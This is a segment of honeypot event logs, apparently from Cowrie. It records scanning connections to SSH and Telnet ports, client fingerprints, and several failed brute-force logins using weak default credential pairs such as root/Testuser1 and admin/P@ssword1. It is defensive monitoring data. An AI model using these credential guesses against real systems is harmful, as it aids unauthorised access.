{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":46922,"dst_ip":"10.17.0.5","dst_port":23,"session":"6643dc9fffc5","protocol":"telnet","message":"New connection: 137.184.155.248:46922 (10.17.0.5:23) [session: 6643dc9fffc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:51.839915Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":50064,"dst_ip":"10.17.0.5","dst_port":22,"session":"64b0699e16a4","protocol":"ssh","message":"New connection: 41.86.34.139:50064 (10.17.0.5:22) [session: 64b0699e16a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:13.113858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:13.118700Z","src_ip":"41.86.34.139","session":"64b0699e16a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:13.326220Z","src_ip":"41.86.34.139","session":"64b0699e16a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"P@$$w0rd","message":"login attempt [user/P@$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:14.189170Z","src_ip":"41.86.34.139","session":"64b0699e16a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:15.398999Z","src_ip":"41.86.34.139","session":"64b0699e16a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":55484,"dst_ip":"10.17.0.5","dst_port":22,"session":"f27feded35e3","protocol":"ssh","message":"New connection: 203.90.110.186:55484 (10.17.0.5:22) [session: f27feded35e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:26.933069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:26.938731Z","src_ip":"203.90.110.186","session":"f27feded35e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:27.150524Z","src_ip":"203.90.110.186","session":"f27feded35e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":50362,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd30cbe99fe1","protocol":"ssh","message":"New connection: 186.4.240.226:50362 (10.17.0.5:22) [session: dd30cbe99fe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:27.920763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:27.925115Z","src_ip":"186.4.240.226","session":"dd30cbe99fe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:28.014526Z","src_ip":"186.4.240.226","session":"dd30cbe99fe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"12345","message":"login attempt [administrator/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:28.028567Z","src_ip":"203.90.110.186","session":"f27feded35e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"12345678","message":"login attempt [sysadmin/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:28.409059Z","src_ip":"186.4.240.226","session":"dd30cbe99fe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:29.244291Z","src_ip":"203.90.110.186","session":"f27feded35e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:29.501682Z","src_ip":"186.4.240.226","session":"dd30cbe99fe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":46693,"dst_ip":"159.203.135.109","dst_port":22,"session":"d32e9ddc7cb2","protocol":"ssh","message":"New connection: 103.86.180.10:46693 (159.203.135.109:22) [session: d32e9ddc7cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:38.554101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:38.559156Z","src_ip":"103.86.180.10","session":"d32e9ddc7cb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:38.759063Z","src_ip":"103.86.180.10","session":"d32e9ddc7cb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.45067310333252,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:39.290479Z","src_ip":"137.184.155.248","session":"6643dc9fffc5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Testuser1","message":"login attempt [root/Testuser1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:39.579056Z","src_ip":"103.86.180.10","session":"d32e9ddc7cb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:40.780458Z","src_ip":"103.86.180.10","session":"d32e9ddc7cb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36564,"dst_ip":"159.203.135.109","dst_port":23,"session":"688b6234b41a","protocol":"telnet","message":"New connection: 147.124.211.111:36564 (159.203.135.109:23) [session: 688b6234b41a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:42.292364Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":53684,"dst_ip":"159.203.135.109","dst_port":22,"session":"a30d910c0316","protocol":"ssh","message":"New connection: 72.253.251.7:53684 (159.203.135.109:22) [session: a30d910c0316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:45.425852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:45.430872Z","src_ip":"72.253.251.7","session":"a30d910c0316","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:45.545991Z","src_ip":"72.253.251.7","session":"a30d910c0316","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ad1234","message":"login attempt [root/ad1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:46.039810Z","src_ip":"72.253.251.7","session":"a30d910c0316","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:47.156936Z","src_ip":"72.253.251.7","session":"a30d910c0316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":15224,"dst_ip":"10.17.0.5","dst_port":23,"session":"6237322362e7","protocol":"telnet","message":"New connection: 182.253.54.171:15224 (10.17.0.5:23) [session: 6237322362e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:52.637835Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":47890,"dst_ip":"159.203.135.109","dst_port":23,"session":"19d74ac3ecdf","protocol":"telnet","message":"New connection: 147.124.211.111:47890 (159.203.135.109:23) [session: 19d74ac3ecdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:52.856595Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":39308,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a53acf6e3db","protocol":"telnet","message":"New connection: 137.184.155.248:39308 (10.17.0.5:23) [session: 5a53acf6e3db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:43:56.005335Z"}
{"eventid":"cowrie.session.closed","duration":5.635305643081665,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:01.640511Z","src_ip":"137.184.155.248","session":"5a53acf6e3db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.132.200.246","src_port":58444,"dst_ip":"10.17.0.5","dst_port":23,"session":"2503679999fd","protocol":"telnet","message":"New connection: 186.132.200.246:58444 (10.17.0.5:23) [session: 2503679999fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:08.283913Z"}
{"eventid":"cowrie.session.closed","duration":31.631539344787598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:13.923797Z","src_ip":"147.124.211.111","session":"688b6234b41a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":39966,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4b206f6ee98","protocol":"ssh","message":"New connection: 41.86.34.139:39966 (10.17.0.5:22) [session: c4b206f6ee98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:18.458320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:18.462812Z","src_ip":"41.86.34.139","session":"c4b206f6ee98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:18.670483Z","src_ip":"41.86.34.139","session":"c4b206f6ee98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssword1","message":"login attempt [admin/P@ssword1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:19.533958Z","src_ip":"41.86.34.139","session":"c4b206f6ee98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:20.744033Z","src_ip":"41.86.34.139","session":"c4b206f6ee98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.758753776550293,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:21.042533Z","src_ip":"186.132.200.246","session":"2503679999fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.493497133255005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:23.349945Z","src_ip":"147.124.211.111","session":"19d74ac3ecdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":57820,"dst_ip":"159.203.135.109","dst_port":23,"session":"7820ce584944","protocol":"telnet","message":"New connection: 185.26.126.47:57820 (159.203.135.109:23) [session: 7820ce584944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:25.214192Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":34582,"dst_ip":"10.17.0.5","dst_port":22,"session":"81af9ec72898","protocol":"ssh","message":"New connection: 186.4.240.226:34582 (10.17.0.5:22) [session: 81af9ec72898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:26.479164Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.36.200.182","src_port":59033,"dst_ip":"159.203.135.109","dst_port":22,"session":"03cbc9b5cae7","protocol":"ssh","message":"New connection: 177.36.200.182:59033 (159.203.135.109:22) [session: 03cbc9b5cae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:26.539317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:26.544656Z","src_ip":"186.4.240.226","session":"81af9ec72898","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:26.547891Z","src_ip":"177.36.200.182","session":"03cbc9b5cae7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:26.630712Z","src_ip":"186.4.240.226","session":"81af9ec72898","protocol":"ssh"}
